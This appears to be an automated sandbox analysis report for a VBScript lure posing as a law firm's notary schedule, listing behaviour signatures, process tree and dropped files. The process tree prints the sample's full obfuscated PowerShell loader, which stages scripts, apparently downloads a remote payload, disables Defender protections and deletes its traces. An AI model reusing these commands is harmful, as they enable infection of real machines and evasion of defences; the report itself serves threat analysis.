Overview

overview

8

Static

static

1

Shapiro La...ty.vbs

windows10-2004-x64

8

Shapiro La...ty.vbs

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    91s
  • max time network
    90s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 18:46

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Shapiro Law Firm – Notary Availability.vbs
  • Size 84KB
  • Sample260723-xerrfscf79
  • SHA256 307e2fac9d82ee0f4604f5f6a3979ee0056e62faadeb1142d49e32630ecce7e6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecution

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 22 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shapiro Law Firm – Notary Availability.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'IENs' + 'ZW' + 'FyLURuc' + '0' + 'NsaWVudENhY2hlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlOyBpcGNvbmZpZy' + ' + A + ' + 'vZmx1c2hkbnMgfCBPdXQtTnVsbC' + ' + A + ' + '7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDUgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCiRhbmluVzsNCkZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIFN2RlNQezsNCiRVbWpzbS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJGFuaW5XKSk7DQpyZXR1cm4gJFVtanNtOw' + '0' + 'KfTsNCiRhWHBrdS' + ' + A + ' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3Z2amNyLnR4dCcpIDskVGFXZEogPS' + ' + A + ' + 'nYUhSMGNITTZMeScgKy' + ' + A + ' + 'oJzloYiRfJF8kXyRfJF8kX1J5Wldab' ;$EbaYA = 'GJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + ' + A + ' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + ' + A + ' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskYW5pblcgPS' + ' + A + ' + 'kVGFXZEo7ICRUYVdkSi' + ' + A + ' + '' + ' + 9 + ' + 'IFN2RlNQIDskVGFXZEogfCBPdXQtRmlsZS' + ' + A + ' + 'tRmlsZVBhdGggJGFYcGt1IC1FbmNvZGluZy' + ' + A + ' + 'nVVRGOCcgLWZvcmNlIDs7JEhuYnF1ID' + '0' + 'gKC' + ' + A + ' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + ' + A + ' + 'ncnFjbGMudHh' + '0' + 'JykgOyR2bnNzcS' + ' + A + ' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyR2bnNzcS5FbmNvZGluZy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyR2bnNzcS5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyR2bnNzcS5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyR2bnNzcS5Qcm' + ' + 9 + ' + '4eS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskdm5zc3EuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskeUlnS2wgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kYVhwa3UgKS' + ' + A + ' + '7JHBFdFhiID' + '0' + 'gJHZuc3NxLkRvd25sb2FkRGF' + '0' + 'YSggJHlJZ' + '0' + 'tsLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDska2N2bnkgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkcEV' + '0' + 'WGIpIDska2N2bnkgPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgka2N2bnksJ1wleCUrJykpWzFdKS5UcmltKCkgOyRrY3ZueSB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kSG5icXUgLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGR6ZGtnICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4Mzg2OTU5NDk3OC4yMDIwMzEyLm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJydkRFlwVF8xN18wN1' + ' + 9 + ' + 'NZXVzX2FycXVpdm' + ' + 9 + ' + 'zX' + '0' + 'RlX1RleHRvLycnICsgJydQZVllcycnKS' + ' + A + ' + '7Jy' + ' + A + ' + '7JGR6ZGtnICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + ' + A + ' + 'nJyViYXNlNjQlTUM5RlJETkVOSFZwU1M5eUwzWmxaQzVsWlhSellY57eSdkx6cHpjSFIwYee3kj' + '0' + '' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnQScnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJydycWNsYy5' + '0' + 'eHQnJykgOyR2Z2ZiYi' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRkemRrZy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJHZnZmJiIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDskZHpka2cgKz' + '0' + 'gJ1tieXRlW11dJHJqYnBsID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskZHpka2cgKz' + '0' + 'gJyRyamJwbC' + ' + A + ' + '' + ' + 9 + ' + 'ICgkdmdmYmIgIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGR6ZGtnICs' + ' + 9 + ' + 'ICckYmV2cGYgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICRyamJwbC' + ' + A + ' + 'pOycgOyRkemRrZy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJGJldnBmLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRkemRrZy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtJy' + ' + A + ' + 'rICdld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICdrZG5qd18wMS5wczEnICkgOyRkemRrZyB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace '%vVlGz%','C:\Users\Admin\AppData\Local\Temp\Shapiro Law Firm – Notary AvailabilitySlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'xrhwy' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\xrhwy.ps1
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /flushdns
          4⤵
          • Gathers network information
          PID:3812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\kdnjw_01.ps1
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4960
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607598.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:3760
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:4868
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3740
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7991.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:3516
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:820
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79bc.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2496
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5200
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7991.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4132
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5124
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79bc.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:904
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5316
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\shapiro law firm – notary availability.vbs"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:3048
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5664
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\kdnjw_01.ps1"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4188
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5016
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\rqclc.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2984
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:1268
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vvjcr.txt"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4372
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3088
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xrhwy.ps1"
            5⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:5812
            • C:\Windows\system32\PING.EXE
              ping 127.0.0.1 -n 1
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5840
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3200
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3220
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4252

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ModuleAnalysisCache
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 05017e5f2bd1649b3f5fffb370717f6d22c3388d02211ba04900409431ae7c04
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_fooxegwi.isu.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fooxegwi.isu.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            kdnjw_01.ps1
            • Path C:\Users\Public\kdnjw_01.ps1
            • Size 1KB
            • SHA256 eb8fb98a2c0c821bc2fffebcc0058acf6b04fc577fbda66bdda7c39586c3b111
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            rqclc.txt
            • Path C:\Users\Public\rqclc.txt
            • Size 32.0MB
            • SHA256 7cd36c49895ae592d55be62d12307552d54a9931fa90b5f24745aa98ddb20bdf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            xrhwy.ps1
            • Path C:\Users\Public\xrhwy.ps1
            • Size 5KB
            • SHA256 8c8e0f2fc531a5303ead4c3298dc497169334b7cfaa5636804ead69851cf4bf1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vvjcr.txt
            • Path \??\c:\users\public\vvjcr.txt
            • Size 120B
            • SHA256 32171e62889696a8d9eee553b8aeff5153cf293a7390ada2c23a88a6a014146f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2456-18-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-28-0x00000141D9F40000-0x00000141D9F5E000-memory.dmp
            Download

            memory/2456-47-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-31-0x00000141D9F60000-0x00000141D9F70000-memory.dmp
            Download

            memory/2456-32-0x00000141D9F90000-0x00000141D9FAA000-memory.dmp
            Download

            memory/2456-30-0x00000141D9F30000-0x00000141D9F3A000-memory.dmp
            Download

            memory/2456-29-0x00000141DA210000-0x00000141DA2C2000-memory.dmp
            Download

            memory/2456-22-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-17-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-19-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-20-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/2456-21-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-11-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-40-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-8-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-9-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-14-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-13-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-7-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-12-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-15-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-0-0x00007FF82623F000-0x00007FF826240000-memory.dmp
            Download

            memory/4532-6-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-41-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-5-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-4-0x0000020A68C70000-0x0000020A68C92000-memory.dmp
            Download

            memory/4532-10-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4532-3-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
            Download

            memory/4960-49-0x000002349BA70000-0x000002349BA71000-memory.dmp
            Download

            memory/4960-48-0x00000234D6020000-0x00000234D6556000-memory.dmp
            Download